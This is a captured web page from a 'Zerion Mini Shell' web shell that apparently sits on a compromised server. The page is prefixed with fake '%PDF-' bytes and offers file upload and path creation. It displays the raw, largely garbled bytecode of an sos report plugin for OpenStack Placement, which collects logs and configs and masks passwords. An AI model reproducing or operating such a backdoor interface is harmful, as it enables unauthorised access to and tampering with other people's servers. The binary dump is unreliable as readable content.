%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/sos/report/plugins/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/openstack_placement.cpython-312.pyc

�

i��d�
��d�ddlmZmZmZmZGd�de�ZGd�deee�ZGd�dee�Zy)	�)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPluginc�6�eZdZdZdZdZdZdZdZd�Z	d�Z
d	�Zy
)�OpenStackPlacementzOpenStack Placement�openstack_placement)�	openstack�openstack_controller)�.*placement_apiz//var/lib/config-data/puppet-generated/placementzopenstack-placement-apic	�J�|jd�}|j|j�s|r/d}|rd|jzdz}|j	d|zdzd��|jd	�r/|j
d
ddd
j|j�g�n.|j
ddddj|j�g�|j
d|jdz|jdz|jdz|jdz|jdzg�y)Nr�z
--config-dir z/etc/placement/zplacement-manage z db versionzplacement-manage_db_version)�suggest_filename�all_logsz/var/log/placement/z/var/log/containers/placement/z(/var/log/containers/httpd/placement-api/z/var/log/{}*/placement*z/var/log/placement/*.logz#/var/log/containers/placement/*.logz,/var/log/containers/httpd/placement-api/*logz/var/log/{}*/placement*.logz/etc/my.cnf.d/tripleo.cnfz/etc/httpd/conf/z/etc/httpd/conf.d/z /etc/httpd/conf.modules.d/*.conf)	�container_exists�is_service_running�service_name�var_puppet_gen�add_cmd_output�
get_option�
add_copy_spec�format�	apachepkg)�self�in_container�placement_configs   �H/usr/lib/python3/dist-packages/sos/report/plugins/openstack_placement.py�setupzOpenStackPlacement.setups@��
�,�,�->�?���"�"�4�#4�#4�5��!���#2�T�5H�5H�#H� 1�$2� ����#�&6�6��F�!>�
 �
�
�?�?�:�&����%�0�:�)�0�0����@�	 �
�
���*�5�>�-�4�4�T�^�^�D�	 �
�	
�������"3�3����"=�=����"4�4����"6�6����"D�D�

�	�c�j�|jd||�|j|jdz||�y)Nz/etc/placement/*)�do_path_regex_subr)r�regexp�substs   r�apply_regex_subz"OpenStackPlacement.apply_regex_subBs7�����1�6�5�A�������"4�4��E�	
rc��ddg}ddg}|jddj|�zd�|jddj|�zd	�y)
N�password�memcache_secret_key�database_connection�slave_connectionz(^\s*(%s)\s*=\s*)(.*)�|z\1*********z)(^\s*(%s)\s*=\s*(.*)://(\w*):)(.*)(@(.*))z
\1*********\6)r$�join)r�protect_keys�connection_keyss   r�postproczOpenStackPlacement.postprocIsa��"�$9�:��0�2D�E�����$�s�x�x��'=�=��	
�	
���8��H�H�_�%�
&��	
rN)�__name__�
__module__�__qualname__�
short_desc�plugin_name�profiles�
containersrrrr$r.�rrrrs0��&�J�'�K�4�H�%�J�F�N�,�L�(�T
�
rrc��eZdZdZdZy)�DebianPlacement�apache2)zplacement-commonz
placement-apizpython3-placementN�r/r0r1r�packagesr6rrr8r8Xs���I��Hrr8c��eZdZdZdZy)�RedHatPlacement�httpd)zopenstack-selinuxNr:r6rrr=r=bs���I�%�Hrr=N)�sos.report.pluginsrrrrrr8r=r6rr�<module>r@s=��P�O�G
��G
�T�(�,���&�(�,�&r

Zerion Mini Shell 1.0